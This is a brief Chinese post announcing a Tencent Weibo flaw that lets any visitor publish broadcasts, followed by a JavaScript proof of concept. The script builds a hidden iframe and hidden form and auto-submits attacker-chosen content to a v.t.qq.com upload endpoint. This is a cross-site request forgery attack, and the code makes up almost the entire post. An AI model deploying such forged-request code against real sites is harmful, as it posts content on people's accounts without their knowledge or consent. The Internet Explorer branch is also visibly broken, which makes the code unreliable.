腾讯微博任意访问者发广播漏洞

以下是引用片段：

//Author:Tueur
//Blog:

function postdata()
{
        var form = document.createElement("form");//创建表单
                if(navigator.appName == "Microsoft Internet Explorer")
                                {
                        var ifm = document.createElement('');
                }else
                                {
                        var ifm = document.createElement("iframe");
                        ifm.setAttribute("name","subForm");
                        ifm.setAttribute("style","display:none");
                }

        form._submit_function_ = form.submit;

        form.setAttribute("method", "post");
        form.setAttribute("action", "http://v.t.qq.com/wall/upload.php?a="+appkey);

            form.setAttribute("target","subForm")
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", "content");
            hiddenField.setAttribute("value",content);

        form.appendChild(hiddenField);
        document.body.appendChild(ifm);
        document.body.appendChild(form);
        form._submit_function_();
}

postdata();